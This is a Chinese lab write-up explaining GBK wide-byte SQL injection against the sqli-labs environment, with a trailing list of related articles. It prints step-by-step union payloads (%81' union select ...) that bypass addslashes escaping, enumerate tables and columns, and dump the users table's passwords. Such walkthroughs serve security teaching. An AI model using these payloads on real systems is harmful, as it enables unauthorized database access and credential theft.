0x00 概述

- 什么是宽字节注入?

宽字节注入就是因为gbk编码方式需要两个ascii码组合来解码,所以形象的叫做宽字节,这个作为了解即可

-宽字节注入的条件

1) 数据库查询设置为GBK编码

2) 使用了addslashes(),mysql_real_escape_string(),mysql_escape_string()这类的过滤函数

- 宽字节注入的原理

假设我们传递一个参数id=1’,当我们输入这个单引号的时候,那么会被认为是非法的字符,会被过滤函数添加“/”给过滤掉,所以我们想要程序接受我们传递的参数里面包含单引号,那么就需要把这个转义字符“/”给干掉,那如何才能干掉?当http协议传输的时候,要经过url编码的,如果这个编码完成后,传递到服务器时,有奇数个数,它会把前面偶数个数的字符当作gbk编码去解码,那么剩下的就当作普通的url去编码,所以我们就可以在单引号之前添加一个%81这样的编码,这样当最后解码的时候,这个%81就会和“/”对应的编码相结合按照gbk的要求去解码,最后就只剩下个单引号,也就得到了我们想要的结果!

0x01 利用sqli-lab的实验环境实现宽字节注入

下载传送门:https://github.com/Audi-1/sqli-labs

0x02 实战演练

1、首先观察正常访问的页面

2、给参数1后面添加一个单引号,观察页面变化:可以看到单引号前面多了一个\的转义字符,那么可以判断后台在处理参数的时候使用了过滤函数进行转义过滤

3、根据之前原理的分析,利用gbk编码的特性来试一下,在‘前面增加一个%81的编码

4、上一步好像那样做过后也没看出什么异常,只是多了一个不认识的符号,这应该是和浏览器页面的编码方式有关,由于我利用的是gbk编码的特性,所以我把页面的编码改成gbk再来看看效果

那么其实更改编码过后,之前的转义符其实就是和%81结合按照gbk的解码方式变成了一个汉字,所以我们输入的单引号就得以逃过过滤函数的转义

5、那么弄明白上面的问题过后,就可以开始一步步的去构造sql语句去查询数据库里面的信息了,在这里选择通过结合union联合查询来注入

1)由于联合查询需要满足列相同,以及类型相似,所以需要先判断一下

构造的sql语句:1%81' union select 1--+

报了列不匹配的错误,那么继续增加,直到不报错为止如下:

当sql语句:1%81' union select 1,3,2--+ 时就没有报错了,说明列匹配了

3)注入得到数据库名字:security

构造的sql语句:%81' union select 1,user(),database()--+

4得到数据库里面的表名:emails,referers,uagents,users

构造的sql语句:%81' union select 1,group_concat(table_name),database() from information_schema.tables where table_schema=database()--+

5)得到数据库的表里面的列名,这里以user来演示

构造的sql语句:%81' union select 1,group_concat(column_name),database() from information_schema.columns where table_name='user'--+

当我这样做的时候,发现报错了,我的table_name的参数使用了引号,那这里的这个引号如何处理呢?我尝试了一下,利用前面的方法不行,所以这里就只能将user进行16进制转码来解决,也就是将‘user’使用0x 75736572来代替;75736572对应的就是user

更改后的sql语句:最后我又添加了一个数据库名的条件,因为只要那个数据库里的users的字段

%81' union select 1,group_concat(column_name),1 from information_schema.columns where table_name=0x7573657273 and table_schema=0x7365637572697479--+

最后得到的列名就是:id,username,password

6)得到数据库名,得到表名字和列名字,那么再继续得到数据的内容就跟容易了,如下:

构造的sql语句:%81' union select 1,group_concat(password),1 from users--+

最后成功得到users表里面的PASSWORD字段的数据如下:

Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4

SQL宽字节注入的更多相关文章

  1. sql宽字节注入,绕过单引号

    参加下面: http://leapar.lofter.com/post/122a03_3028a9 http://huaidan.org/archives/2268.html https://ilia ...

  2. PHP函数 addslashes() 和 mysql_real_escape_string() 的区别 && SQL宽字节,绕过单引号注入攻击

    首先:不要使用 mysql_escape_string(),它已被弃用,请使用 mysql_real_escape_string() 代替它. mysql_real_escape_string() 和 ...

  3. SQL注入--宽字节注入

    PHP测试代码: <?php // 面向对象写法 $id=addslashes($_GET[‘id’]); //获取id并转义预定义字符 // /$id=$_GET[‘id’]; $mysqli ...

  4. 【PHP代码审计】 那些年我们一起挖掘SQL注入 - 5.全局防护Bypass之宽字节注入

    0x01 背景 首先我们了解下宽字节注入,宽字节注入源于程序员设置MySQL连接时错误配置为:set character_set_client=gbk,这样配置会引发编码转换从而导致的注入漏洞.具体原 ...

  5. Sql 注入详解:宽字节注入+二次注入

    sql注入漏洞 原理:由于开发者在编写操作数据库代码时,直接将外部可控参数拼接到sql 语句中,没有经过任何过滤就直接放入到数据库引擎中执行了. 攻击方式: (1) 权限较大时,直接写入webshel ...

  6. SQL注入:宽字节注入

    了解GBK编码 尽管现在呼吁所有的程序都使用unicode编码,所有的网站都使用utf-8编码,来一个统一的国际规范.但仍然有很多,包括国内及国外(特别是非英语国家)的一些cms,仍然使用着自己国家的 ...

  7. CTF—WEB—sql注入之宽字节注入

     宽字节注入 宽字节注入是利用mysql的一个特性,mysql在使用GBK编码(GBK就是常说的宽字节之一,实际上只有两字节)的时候,会认为两个字符是一个汉字(前一个ascii码要大于128,才到汉字 ...

  8. GBK宽字节注入SQL

    SQL注入:宽字节注入(GBK双字节绕过) 2015-06-09lyiang 宽字节注入的作用是非常大的,实际上在代码层的防御一般不外乎两种,一是反斜杠转义,而就是replace替换成空字节,之前的替 ...

  9. SQL注入篇二------利用burp盲注,post注入,http头注入,利用burpsuit找注入点,宽字节注入

    1.布尔盲注burpsuit的使用 先自己构造好注入语句,利用burpsuit抓包,设置变量,查出想要的信息. 比如----查数据库名的ascii码得到数据库构造好语句 http://123.206. ...

随机推荐

  1. mysql免安装版配置+navicat测试

    好久之前就在mysql官网下载了mysql的包,但是一直没有安装.今天测试下. 下载好的mysql是一个zip压缩包,直接解压就可以了,然后改名为mysql,以免路径太复杂. 配置环境变量 把D:\A ...

  2. DAO层,Service层,Controller层、View层介绍

    来自:http://jonsion.javaeye.com/blog/592335 DAO层 DAO 层主要是做数据持久层的工作,负责与数据库进行联络的一些任务都封装在此,DAO层的设计首先是设计DA ...

  3. java获取每月的最后一天

    public static void main(String[] args) throws ParseException { // 获取当月的天数(需完善) SimpleDateFormat date ...

  4. Compare DML To Both REDO And UNDO Size

    SUMMARY you can remember undo rule  the same to redo if you want demo rule that you can look up the ...

  5. Azure 登录设置

    转自 http://blog.csdn.net/azure_nonofficial/article/details/38095459 这是我们Azure非官方的第一篇博文,欢迎大家各种拍砖. 微软云计 ...

  6. [EffectiveC++]item20:Prefer pass-by-reference-to-const to pass-by-value

  7. jq复制到剪切板插件clipboard.min.js(兼容IE9)

    /*! * clipboard.js v1.5.5 * https://zenorocha.github.io/clipboard.js * * Licensed MIT 漏 Zeno Rocha * ...

  8. Mac Sublime Text3快捷键

    下载地址http://www.sublimetext.com/3 一.安装Package Control 按Ctrl + ` 调出console,粘贴下列安装代码到底部命令行并回车: import u ...

  9. luogu P3381【模板】最小费用最大流

    嘟嘟嘟 没错,我开始学费用流了! 做法也是比较朴素的\(spfa\). 就是每一次以费用为权值跑一遍\(spfa\)找到一条最短路,然后把这条道全流满,并把这一次的流量和费用累加到答案上.因此我们需要 ...

  10. 《metasploit渗透测试魔鬼训练营》学习笔记第五章--网络服务渗透攻击

    三.网络服务渗透攻击 3.1 内存攻防技术      3.1.1 缓冲区溢出漏洞机理              缓冲区溢出是程序由于缺乏对缓冲区的边界条件检查而引起的一种异常行为.           ...